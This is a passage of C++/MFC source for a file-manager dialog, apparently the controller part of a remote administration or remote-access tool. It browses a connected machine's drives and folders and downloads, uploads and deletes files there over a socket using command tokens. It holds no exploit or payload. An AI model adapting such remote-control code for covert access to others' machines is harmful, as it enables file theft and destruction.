m_pDropList = (CListCtrl*)pDropWnd; //Set pointer to the list we are dropping on
DropItemOnList(m_pDragList, m_pDropList); //Call routine to perform the actual drop
}
}
CDialog::OnLButtonUp(nFlags, point);
}
BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: Add your specialized code here and/or call the base class
if (pMsg->message == WM_KEYDOWN)
{
if (pMsg->wParam == VK_ESCAPE)
{
if (!m_strOperatingFile.IsEmpty())
{
AfxMessageBox("");
}
return true;
}
// 如果是回车 判断list 进入文件列表
if (pMsg->wParam == VK_RETURN)
{
if (
pMsg->hwnd == m_list_local.m_hWnd ||
pMsg->hwnd == ((CEdit*)m_Local_Directory_ComboBox.GetWindow(GW_CHILD))->m_hWnd
)
{
FixedLocalFileList();
}
else if
(
pMsg->hwnd == m_list_remote.m_hWnd ||
pMsg->hwnd == ((CEdit*)m_Remote_Directory_ComboBox.GetWindow(GW_CHILD))->m_hWnd
)
{
GetRemoteFileList();
}
return TRUE;
}
}
// 单击除了窗口标题栏以外的区域使窗口移动
if (pMsg->message == WM_LBUTTONDOWN && pMsg->hwnd == m_hWnd)
{
pMsg->message = WM_NCLBUTTONDOWN;
pMsg->wParam = HTCAPTION;
}
if(m_wndToolBar_Local.IsWindowVisible())
{
CWnd* pWndParent = m_wndToolBar_Local.GetParent();
m_wndToolBar_Local.OnUpdateCmdUI();
}
if(m_wndToolBar_Remote.IsWindowVisible())
{
CWnd* pWndParent = m_wndToolBar_Remote.GetParent();
m_wndToolBar_Remote.OnUpdateCmdUI();
}
return CDialog::PreTranslateMessage(pMsg);
}
// 显示远程驱动列表
void CFileManagerDlg::FixedRemoteDriveList()
{
m_list_remote.DeleteAllItems();
// 重建Column
while(m_list_remote.DeleteColumn(0) != 0);
m_list_remote.InsertColumn(0, "名称", LVCFMT_LEFT, 200);
m_list_remote.InsertColumn(1, "类型", LVCFMT_LEFT, 100);
m_list_remote.InsertColumn(2, "总大小", LVCFMT_LEFT, 100);
m_list_remote.InsertColumn(3, "可用空间", LVCFMT_LEFT, 115);
char *pDrive = NULL;
pDrive = (char *)m_bRemoteDriveList;
unsigned long AmntMB = 0; // 总大小
unsigned long FreeMB = 0; // 剩余空间
int nIconIndex = -1;
for (int i = 0; pDrive[i] != '\0';)
{
if (pDrive[i] == 'A' || pDrive[i] == 'B')
{
nIconIndex = 6;
}
else
{
switch (pDrive[i + 1])
{
case DRIVE_REMOVABLE:
nIconIndex = 7;
break;
case DRIVE_FIXED:
nIconIndex = 8;
break;
case DRIVE_REMOTE:
nIconIndex = 9;
break;
case DRIVE_CDROM:
nIconIndex = 11;
break;
default:
nIconIndex = 8;
break;
}
}
CString str;
str.Format(_T("%c:\\"), pDrive[i]);
int nItem = m_list_remote.InsertItem(i, str, nIconIndex);
m_list_remote.SetItemData(nItem, 1);
memcpy(&AmntMB, pDrive + i + 2, 4);
memcpy(&FreeMB, pDrive + i + 6, 4);
str.Format(_T("%10.1f GB"), (float)AmntMB / 1024);
m_list_remote.SetItemText(nItem, 2, str);
str.Format(_T("%10.1f GB"), (float)FreeMB / 1024);
m_list_remote.SetItemText(nItem, 3, str);
i += 10;
// char *lpFileSystemName = NULL;
char *lpTypeName = NULL;
lpTypeName = pDrive + i;
// i += lstrlen(pDrive + i) + 1;
// lpFileSystemName = pDrive + i;
// 磁盘类型, 为空就显示磁盘名称
// if (lstrlen(lpFileSystemName) == 0)
// {
m_list_remote.SetItemText(nItem, 1, lpTypeName);
// }
// else
// {
// m_list_remote.SetItemText(nItem, 1, lpFileSystemName);
// }
i += lstrlen(pDrive + i) + 1;
}
// 重置远程当前路径
m_Remote_Path = "";
m_Remote_Directory_ComboBox.ResetContent();
strShowText.Format(_T("远程: 装载目录 %s 完成"), m_Remote_Path);
PostMessage(WM_SHOW_MSG,0,0);
// ShowMessage(_T("远程: 装载目录 %s 完成"), m_Remote_Path);
}
void CFileManagerDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
CoUninitialize();
closesocket(m_pContext->m_Socket);
delete m_ProgressCtrl;
m_bOnClose = TRUE;
CDialog::OnClose();
}
// 获取父目录
CString CFileManagerDlg::GetParentDirectory(CString strPath)
{
CString strCurPath = strPath;
int Index = strCurPath.ReverseFind('\\');
if (Index == -1)
{
return strCurPath;
}
CString str = strCurPath.Left(Index);
Index = str.ReverseFind('\\');
if (Index == -1)
{
strCurPath = "";
return strCurPath;
}
strCurPath = str.Left(Index);
if(strCurPath.Right(1) != "\\")
strCurPath += "\\";
return strCurPath;
}
// 获取远程文件列表
void CFileManagerDlg::GetRemoteFileList(CString directory)
{
if (directory.GetLength() == 0)
{
int nItem = m_list_remote.GetSelectionMark();
// 如果有选中的，是目录
if (nItem != -1)
{
if (m_list_remote.GetItemData(nItem) == 1)
{
directory = m_list_remote.GetItemText(nItem, 0);
}
}
// 从组合框里得到路径
else
{
m_Remote_Directory_ComboBox.GetWindowText(m_Remote_Path);
}
}
// 得到父目录
if (directory == "..")
{
m_Remote_Path = GetParentDirectory(m_Remote_Path);
}
else if (directory != ".")
{
m_Remote_Path += directory;
if(m_Remote_Path.Right(1) != "\\")
m_Remote_Path += "\\";
}
// 是驱动器的根目录,返回磁盘列表
if (m_Remote_Path.GetLength() == 0)
{
FixedRemoteDriveList();
return;
}
// 发送数据前清空缓冲区
int PacketSize = m_Remote_Path.GetLength() + 2;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, PacketSize);
bPacket[0] = COMMAND_LIST_FILES;
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
m_iocpServer->Send(m_pContext, bPacket, PacketSize);
LocalFree(bPacket);
m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
m_Remote_Directory_ComboBox.SetCurSel(0);
// 得到返回数据前禁窗口
m_list_remote.EnableWindow(FALSE);
m_ProgressCtrl->SetPos(0);
}
// 双击m_list_remote
void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
{
if (m_list_remote.GetSelectedCount() == 0 || m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) != 1)
return;
// TODO: Add your control notification handler code here
GetRemoteFileList();
*pResult = 0;
}
// 显示远程文件列表
void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
{
// 重建标题
m_list_remote.DeleteAllItems();
while(m_list_remote.DeleteColumn(0) != 0);
m_list_remote.InsertColumn(0, "名称", LVCFMT_LEFT, 200);
m_list_remote.InsertColumn(1, "大小", LVCFMT_LEFT, 100);
m_list_remote.InsertColumn(2, "类型", LVCFMT_LEFT, 100);
m_list_remote.InsertColumn(3, "修改日期", LVCFMT_LEFT, 115);
int nItemIndex = 0;
m_list_remote.SetItemData
(
m_list_remote.InsertItem(nItemIndex++, "..", GetIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)),
1
);
/*
ListView 消除闪烁
更新数据前用SetRedraw(FALSE)
更新后调用SetRedraw(TRUE)
*/
m_list_remote.SetRedraw(FALSE);
if (dwBufferLen != 0)
{
//
for (int i = 0; i < 2; i++)
{
// 跳过Token，共5字节
char *pList = (char *)(pbBuffer + 1);
for(char *pBase = pList; pList - pBase < dwBufferLen - 1;)
{
char *pszFileName = NULL;
DWORD dwFileSizeHigh = 0; // 文件高字节大小
DWORD dwFileSizeLow = 0; // 文件低字节大小
int nItem = 0;
bool bIsInsert = false;
FILETIME ftm_strReceiveLocalFileTime;
int nType = *pList ? FILE_ATTRIBUTE_DIRECTORY : FILE_ATTRIBUTE_NORMAL;
// i 为 0 时，列目录，i为1时列文件
bIsInsert = !(nType == FILE_ATTRIBUTE_DIRECTORY) == i;
pszFileName = ++pList;
if (bIsInsert)
{
nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType));
m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
SHFILEINFO sfi;
SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
m_list_remote.SetItemText(nItem, 2, sfi.szTypeName);
}
// 得到文件大小
pList += lstrlen(pszFileName) + 1;
if (bIsInsert)
{
memcpy(&dwFileSizeHigh, pList, 4);
memcpy(&dwFileSizeLow, pList + 4, 4);
CString strSize;
strSize.Format(_T("%10d KB"), (dwFileSizeHigh * (MAXDWORD)) / 1024 + dwFileSizeLow / 1024 + (dwFileSizeLow % 1024 ? 1 : 0));
m_list_remote.SetItemText(nItem, 1, strSize);
memcpy(&ftm_strReceiveLocalFileTime, pList + 8, sizeof(FILETIME));
CTime time(ftm_strReceiveLocalFileTime);
m_list_remote.SetItemText(nItem, 3, time.Format(_T("%Y-%m-%d %H:%M")));
}
pList += 16;
}
}
}
m_list_remote.SetRedraw(TRUE);
// 恢复窗口
m_list_remote.EnableWindow(TRUE);
strShowText.Format(_T("远程: 装载目录 %s 完成"), m_Remote_Path);
PostMessage(WM_SHOW_MSG,0,0);
// ShowMessage(_T("远程: 装载目录 %s 完成"), m_Remote_Path);
}
// 显示消息
LRESULT CFileManagerDlg::OnShowMessage(WPARAM wParam,LPARAM lParam)
{
m_wndStatusBar.SetPaneText(0, strShowText);
return TRUE;
}
// 显示对话框
LRESULT CFileManagerDlg::OnShowDlg(WPARAM wParam,LPARAM lParam)
{
//添加自己的消息处理
CFileTransferModeDlg dlg(this);
if (bIsLocalDlg)
dlg.m_strFileName = m_strReceiveLocalFile;
else
dlg.m_strFileName = m_strUploadRemoteFile;
switch (dlg.DoModal())
{
case IDC_OVERWRITE:
m_nTransferMode = TRANSFER_MODE_OVERWRITE;
break;
case IDC_OVERWRITE_ALL:
m_nTransferMode = TRANSFER_MODE_OVERWRITE_ALL;
break;
case IDC_ADDITION:
m_nTransferMode = TRANSFER_MODE_ADDITION;
break;
case IDC_ADDITION_ALL:
m_nTransferMode = TRANSFER_MODE_ADDITION_ALL;
break;
case IDC_JUMP:
m_nTransferMode = TRANSFER_MODE_JUMP;
break;
case IDC_JUMP_ALL:
m_nTransferMode = TRANSFER_MODE_JUMP_ALL;
break;
case IDC_CANCEL:
m_nTransferMode = TRANSFER_MODE_CANCEL;
break;
}
return TRUE;
}
// void CFileManagerDlg::ShowMessage(char *lpFmt, ...)
// {
// char buff[1024];
// va_list arglist;
// va_start( arglist, lpFmt );
//
// memset(buff, 0, sizeof(buff));
//
// vsprintf(buff, lpFmt, arglist);
// m_wndStatusBar.SetPaneText(0, buff);
// va_end( arglist );
// }
//////////////////////////////////以下为工具栏响应处理//////////////////////////////////////////
void CFileManagerDlg::OnLocalList()
{
// TODO: Add your command handler code here
m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_LIST);
}
void CFileManagerDlg::OnLocalReport()
{
// TODO: Add your command handler code here
m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_REPORT);
}
void CFileManagerDlg::OnLocalBigicon()
{
// TODO: Add your command handler code here
m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_ICON);
}
void CFileManagerDlg::OnLocalSmallicon()
{
// TODO: Add your command handler code here
m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_SMALLICON);
}
void CFileManagerDlg::OnRemoteList()
{
// TODO: Add your command handler code here
if (m_list_remote.IsWindowVisible())
m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_LIST);
else
m_list_remote_search.ModifyStyle(LVS_TYPEMASK, LVS_LIST);
}
void CFileManagerDlg::OnRemoteReport()
{
// TODO: Add your command handler code here
if (m_list_remote.IsWindowVisible())
m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_REPORT);
else
m_list_remote_search.ModifyStyle(LVS_TYPEMASK, LVS_REPORT);
}
void CFileManagerDlg::OnRemoteBigicon()
{
// TODO: Add your command handler code here
if (m_list_remote.IsWindowVisible())
m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_ICON);
else
m_list_remote_search.ModifyStyle(LVS_TYPEMASK, LVS_ICON);
}
void CFileManagerDlg::OnRemoteSmallicon()
{
// TODO: Add your command handler code here
if (m_list_remote.IsWindowVisible())
m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_SMALLICON);
else
m_list_remote_search.ModifyStyle(LVS_TYPEMASK, LVS_SMALLICON);
}
void CFileManagerDlg::OnRemoteView()
{
// TODO: Add your command handler code here
if (m_list_remote.IsWindowVisible())
m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_ICON);
else
m_list_remote_search.ModifyStyle(LVS_TYPEMASK, LVS_ICON);
}
// 工具条-----本地文件列表返回父目录
void CFileManagerDlg::OnLocalPrev()
{
// TODO: Add your command handler code here
FixedLocalFileList(_T(".."));
}
// 远程文件列表返回父目录
void CFileManagerDlg::OnRemotePrev()
{
// TODO: Add your command handler code here
GetRemoteFileList(_T(".."));
}
// 本地文件列表 显示大图标
void CFileManagerDlg::OnLocalView()
{
// TODO: Add your command handler code here
m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_ICON);
}
/////////////////////////工具栏响应结束/////////////////////////////////////////////////
/////////////////////////以下为工具栏按钮是否启用的处理/////////////////////////////////////////////////
void CFileManagerDlg::OnUpdateLocalPrev(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
// 为根目录时禁用向上按钮
pCmdUI->Enable(m_Local_Path.GetLength() && m_list_local.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateLocalDelete(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
// 不是根目录，并且选择项目大于0
pCmdUI->Enable(m_Local_Path.GetLength() && m_list_local.GetSelectedCount() && m_list_local.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateLocalNewfolder(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->Enable(m_Local_Path.GetLength() && m_list_local.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateLocalCopy(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
if (m_list_remote_search.IsWindowVisible())
{
pCmdUI->Enable(FALSE);
return;
}
pCmdUI->Enable
(
m_list_local.IsWindowEnabled()
&& (m_Remote_Path.GetLength() || m_list_remote.GetSelectedCount()) // 远程路径为空，或者有选择
&& m_list_local.GetSelectedCount()// 本地路径为空，或者有选择
);
}
void CFileManagerDlg::OnUpdateLocalStop(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->Enable(!m_list_local.IsWindowEnabled() && m_bIsUpload);
}
void CFileManagerDlg::OnUpdateRemotePrev(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
if (m_list_remote_search.IsWindowVisible())
{
pCmdUI->Enable(FALSE);
return;
}
pCmdUI->Enable(m_Remote_Path.GetLength() && m_list_remote.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateRemoteCopy(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
// 不是根目录，并且选择项目大于0
if (m_list_remote_search.IsWindowVisible())
{
pCmdUI->Enable
(
m_list_remote_search.IsWindowEnabled()
&& (m_Local_Path.GetLength() || m_list_local.GetSelectedCount()) // 本地路径为空，或者有选择
&& m_list_remote_search.GetSelectedCount() // 远程路径为空，或者有选择
);
return;
}
pCmdUI->Enable
(
m_list_remote.IsWindowEnabled()
&& (m_Local_Path.GetLength() || m_list_local.GetSelectedCount()) // 本地路径为空，或者有选择
&& m_list_remote.GetSelectedCount() // 远程路径为空，或者有选择
);
}
void CFileManagerDlg::OnUpdateRemoteDelete(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
if (m_list_remote_search.IsWindowVisible())
{
pCmdUI->Enable(m_list_remote_search.GetSelectedCount() && m_list_remote_search.IsWindowEnabled());
return;
}
// 不是根目录，并且选择项目大于0
pCmdUI->Enable(m_Remote_Path.GetLength() && m_list_remote.GetSelectedCount() && m_list_remote.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateRemoteNewfolder(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
if (m_list_remote_search.IsWindowVisible())
{
pCmdUI->Enable(FALSE);
return;
}
pCmdUI->Enable(m_Remote_Path.GetLength() && m_list_remote.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateRemoteStop(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
if (m_list_remote_search.IsWindowVisible())
{
pCmdUI->Enable(!m_list_remote_search.IsWindowEnabled() && !m_bIsUpload);
return;
}
pCmdUI->Enable(!m_list_remote.IsWindowEnabled() && !m_bIsUpload);
}
///////////////////////////////----结束----///////////////////////////////////////////
// 用来递归本地目录 将找到的文件加入上传队列
bool CFileManagerDlg::FixedUploadDirectory(LPCTSTR lpPathName)
{
char lpszFilter[MAX_PATH];
char *lpszSlash = NULL;
memset(lpszFilter, 0, sizeof(lpszFilter));
// 如果路径不是以\结尾
if (lpPathName[lstrlen(lpPathName) - 1] != '\\')
lpszSlash = "\\";
else
lpszSlash = "";
// 路径\*.*
wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash);
WIN32_FIND_DATA wfd;
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
return FALSE;
do
{
if (wfd.cFileName[0] == '.')
continue; // 过滤这两个目录
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char strDirectory[MAX_PATH];
wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
FixedUploadDirectory(strDirectory); // 如果找到的是目录，则进入此目录进行递归
}
else
{
// 对文件进行操作
CString file;
file.Format(_T("%s%s%s"), lpPathName, lpszSlash, wfd.cFileName);
m_Remote_Upload_Job.AddTail(file); // 如果找到的是文件 就加入上传队列
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind); // 关闭查找句柄
return true;
}
// 在传输文件时 禁用控件
void CFileManagerDlg::EnableControl(BOOL bEnable)
{
m_list_local.EnableWindow(bEnable);
m_list_remote.EnableWindow(bEnable);
m_list_remote_search.EnableWindow(bEnable);
m_Local_Directory_ComboBox.EnableWindow(bEnable);
m_Remote_Directory_ComboBox.EnableWindow(bEnable);
m_wndToolBar_Search.EnableWindow(bEnable);
}
// 本地文件上传到远程
void CFileManagerDlg::OnLocalCopy()
{
if (!m_list_remote.IsWindowVisible())
return;
m_bIsUpload = true;
// TODO: Add your command handler code here
// 如果Drag的，找到Drop到了哪个文件夹
if (m_nDropIndex != -1 && m_pDropList->GetItemData(m_nDropIndex))
m_hCopyDestFolder = m_pDropList->GetItemText(m_nDropIndex, 0);
// 重置上传任务列表
m_Remote_Upload_Job.RemoveAll();
POSITION pos = m_list_local.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) //so long as we have a valid POSITION, we keep iterating
{
int nItem = m_list_local.GetNextSelectedItem(pos);
CString file = m_Local_Path + m_list_local.GetItemText(nItem, 0);
// 如果是目录
if (m_list_local.GetItemData(nItem))
{
file += '\\';
FixedUploadDirectory(file.GetBuffer(0));
}
else
{
// 添加到上传任务列表中去
m_Remote_Upload_Job.AddTail(file);
}
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory
if (m_Remote_Upload_Job.IsEmpty())
{
::MessageBox(m_hWnd, "文件夹为空", "警告", MB_OK|MB_ICONWARNING);
return;
}
EnableControl(FALSE);
SendUploadJob();
}
//////////////// 文件传输操作 ////////////////
// 只管发出了下载的文件
// 一个一个发，接收到下载完成时，下载第二个文件 ...
void CFileManagerDlg::OnRemoteCopy()
{
m_bIsUpload = false;
// 禁用文件管理窗口
EnableControl(FALSE);
// TODO: Add your command handler code here
// 如果Drag的，找到Drop到了哪个文件夹
if (m_nDropIndex != -1 && m_pDropList->GetItemData(m_nDropIndex))
m_hCopyDestFolder = m_pDropList->GetItemText(m_nDropIndex, 0);
// 重置下载任务列表
m_Remote_Download_Job.RemoveAll();
if (m_list_remote_search.IsWindowVisible())
{
POSITION pos = m_list_remote_search.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) //so long as we have a valid POSITION, we keep iterating
{
int nItem = m_list_remote_search.GetNextSelectedItem(pos);
CString file = m_list_remote_search.GetItemText(nItem, 0);
// 如果是目录
if (m_list_remote_search.GetItemData(nItem))
file += '\\';
// 添加到下载任务列表中去
m_Remote_Download_Job.AddTail(file);
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory
}else
{
POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) //so long as we have a valid POSITION, we keep iterating
{
int nItem = m_list_remote.GetNextSelectedItem(pos);
CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0);
// 如果是目录
if (m_list_remote.GetItemData(nItem))
file += '\\';
// 添加到下载任务列表中去
m_Remote_Download_Job.AddTail(file);
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory
}
// 发送第一个下载任务
SendDownloadJob();
}
// 发出一个下载任务
BOOL CFileManagerDlg::SendDownloadJob()
{
if (m_Remote_Download_Job.IsEmpty())
return FALSE;
// 发出第一个下载任务命令
CString file = m_Remote_Download_Job.GetHead();
int nPacketSize = file.GetLength() + 2;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
bPacket[0] = COMMAND_DOWN_FILES;
// 文件偏移，续传时用
memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1);
m_iocpServer->Send(m_pContext, bPacket, nPacketSize);
LocalFree(bPacket);
// 从下载任务列表中删除自己
m_Remote_Download_Job.RemoveHead();
return TRUE;
}
// 发出一个上传任务
BOOL CFileManagerDlg::SendUploadJob()
{
if (m_Remote_Upload_Job.IsEmpty())
return FALSE;
CString strDestDirectory = m_Remote_Path;
// 如果远程也有选择，当做目标文件夹
int nItem = m_list_remote.GetSelectionMark();
if (!m_hCopyDestFolder.IsEmpty())//修改目录重复的bug
{
strDestDirectory += m_hCopyDestFolder + "\\";
}else if (nItem != -1 && m_list_remote.GetItemData(nItem) == 1) // 是文件夹
{
strDestDirectory += m_list_remote.GetItemText(nItem, 0) + "\\";
}//新修改
if (!m_hCopyDestFolder.IsEmpty())
{
strDestDirectory += m_hCopyDestFolder + "\\";
}
// 发出第一个下载任务命令
m_strOperatingFile = m_Remote_Upload_Job.GetHead();
DWORD dwSizeHigh;
DWORD dwSizeLow;
// 1 字节token, 8字节大小, 文件名称, '\0'
HANDLE hFile;
CString fileRemote = m_strOperatingFile; // 远程文件
// 得到要保存到的远程的文件路径
fileRemote.Replace(m_Local_Path, strDestDirectory);
m_strUploadRemoteFile = fileRemote;
hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile == INVALID_HANDLE_VALUE)
{
TRACE("CFileManagerDlg SendUploadJob ERRO 0\r\n");
// 从下载任务列表中删除自己
m_Remote_Upload_Job.RemoveHead();
EndLocalUploadFile();
return FALSE;
}
dwSizeLow = GetFileSize (hFile, &dwSizeHigh);
m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD)) + dwSizeLow;
CloseHandle(hFile);
// 构造数据包，发送文件长度
int nPacketSize = fileRemote.GetLength() + 10;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
memset(bPacket, 0, nPacketSize);
bPacket[0] = COMMAND_FILE_SIZE;
memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD));
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1);
m_iocpServer->Send(m_pContext, bPacket, nPacketSize);
LocalFree(bPacket);
// 从下载任务列表中删除自己
m_Remote_Upload_Job.RemoveHead();
return TRUE;
}
// 发出一个删除任务
BOOL CFileManagerDlg::SendDeleteJob()
{
if (m_Remote_Delete_Job.IsEmpty())
return FALSE;
// 发出第一个下载任务命令
CString file = m_Remote_Delete_Job.GetHead();
int nPacketSize = file.GetLength() + 2;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
if (file.GetAt(file.GetLength() - 1) == '\\')
{
strShowText.Format(_T("远程：删除目录 %s\\*.* 完成"), file);
//ShowMessage(_T("远程：删除目录 %s\\*.* 完成"), file);
bPacket[0] = COMMAND_DELETE_DIRECTORY;
}
else
{
strShowText.Format(_T("远程：删除文件 %s 完成"), file);
//ShowMessage(_T("远程：删除文件 %s 完成"), file);
bPacket[0] = COMMAND_DELETE_FILE;
}
// 文件偏移，续传时用
memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
m_iocpServer->Send(m_pContext, bPacket, nPacketSize);
LocalFree(bPacket);
// 从下载任务列表中删除自己
if (m_list_remote_search.IsWindowVisible())
{
int nCount = m_list_remote_search.GetItemCount();
CString str;
for (int i=0; i < nCount; i++)
{
str = m_list_remote_search.GetItemText(i, 0);
if (m_Remote_Delete_Job.GetHead() == str)
{
strShowText.Format(_T("远程：删除文件 %s 完成"), str);
m_list_remote_search.DeleteItem(i);
}else
continue;
}
}
m_Remote_Delete_Job.RemoveHead();
PostMessage(WM_SHOW_MSG,0,0);
return TRUE;
}
void CFileManagerDlg::CreateLocalRecvFile()
{
// 重置计数器
m_nCounter = 0;
FILESIZE *pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
DWORD dwSizeHigh = pFileSize->dwSizeHigh;
DWORD dwSizeLow = pFileSize->dwSizeLow;
//正在操作的文件大小
m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD)) + dwSizeLow;
// 当前正操作的文件名
m_strOperatingFile = m_pContext->m_DeCompressionBuffer.GetBuffer(9);
m_strReceiveLocalFile = m_strOperatingFile;
// 如果本地目录为空 就传到本程序所在目录
CString strDestDirectory = m_Local_Path;
int nItem = m_list_local.GetSelectionMark();
if (!m_hCopyDestFolder.IsEmpty()) // 如果是拖拽到某文件夹
{
strDestDirectory += m_hCopyDestFolder + "\\";
}
else if (nItem != -1 && m_list_local.GetItemData(nItem) == 1)// 如果已经选择了文件夹
{
strDestDirectory += m_list_local.GetItemText(nItem, 0) + "\\";
}
// 得到要保存到的本地的文件路径
if (m_list_remote_search.IsWindowVisible())
{
int nPos = m_strReceiveLocalFile.ReverseFind('\\');
CString fileName = m_strReceiveLocalFile.Right(m_strReceiveLocalFile.GetLength() - nPos - 1 );
m_strReceiveLocalFile.Format("%s%s",m_Local_Path,fileName);
}
else
m_strReceiveLocalFile.Replace(m_Remote_Path, strDestDirectory);
// 创建多层目录
MakeSureDirectoryPathExists(m_strReceiveLocalFile.GetBuffer(0));
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile(m_strReceiveLocalFile.GetBuffer(0), &FindFileData);
if (hFind != INVALID_HANDLE_VALUE
&& m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL
&& m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
&& m_nTransferMode != TRANSFER_MODE_JUMP_ALL
)
{
bIsLocalDlg = TRUE;
SendMessage(WM_SHOW_DLG,0,0);
}
if (m_nTransferMode == TRANSFER_MODE_CANCEL)
{
// 取消传送
m_bIsStop = true;
SendStop();
return;
}
int nTransferMode;
switch (m_nTransferMode)
{
case TRANSFER_MODE_OVERWRITE_ALL:
nTransferMode = TRANSFER_MODE_OVERWRITE;
break;
case TRANSFER_MODE_ADDITION_ALL:
nTransferMode = TRANSFER_MODE_ADDITION;
break;
case TRANSFER_MODE_JUMP_ALL:
nTransferMode = TRANSFER_MODE_JUMP;
break;
default:
nTransferMode = m_nTransferMode;
}
// 1字节Token,四字节偏移高四位，四字节偏移低四位
BYTE bToken[9];
DWORD dwCreationDisposition; // 文件打开方式
memset(bToken, 0, sizeof(bToken));
bToken[0] = COMMAND_CONTINUE;
// 文件已经存在
if (hFind != INVALID_HANDLE_VALUE)
{
// 提示点什么
// 如果是续传
if (nTransferMode == TRANSFER_MODE_ADDITION)
{
memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4);
memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4);
// 接收的长度递增
m_nCounter += FindFileData.nFileSizeHigh * (MAXDWORD);
m_nCounter += FindFileData.nFileSizeLow;
dwCreationDisposition = OPEN_EXISTING;
}
// 覆盖
else if (nTransferMode == TRANSFER_MODE_OVERWRITE)
{
// 偏移置0
memset(bToken + 1, 0, 8);
// 重新创建
dwCreationDisposition = CREATE_ALWAYS;
}
// 跳过，指针移到-1
else if (nTransferMode == TRANSFER_MODE_JUMP)
{
m_ProgressCtrl->SetPos(100);
DWORD dwOffset = -1;
memcpy(bToken + 5, &dwOffset, 4);
dwCreationDisposition = OPEN_EXISTING;
}
}
else
{
// 偏移置0
memset(bToken + 1, 0, 8);
// 重新创建
dwCreationDisposition = CREATE_ALWAYS;
}
FindClose(hFind);
HANDLE hFile =
CreateFile
(
m_strReceiveLocalFile.GetBuffer(0),
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
dwCreationDisposition,
FILE_ATTRIBUTE_NORMAL,
0
);
// 需要错误处理
if (hFile == INVALID_HANDLE_VALUE)
{
m_nOperatingFileLength = 0;
m_nCounter = 0;
::MessageBox(m_hWnd, m_strReceiveLocalFile + " 文档创建失败!", "Warning", MB_OK|MB_ICONWARNING);
CloseHandle(hFile);
return;
}
CloseHandle(hFile);
ShowProgress();
if (m_bIsStop)
{
SendStop();
}else
{
// 发送继续传输文件的token,包含文件续传的偏移
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
}
// 写入文件内容
void CFileManagerDlg::WriteLocalRecvFile()
{
// 传输完毕
BYTE *pData;
DWORD dwBytesToWrite;
DWORD dwBytesWrite;
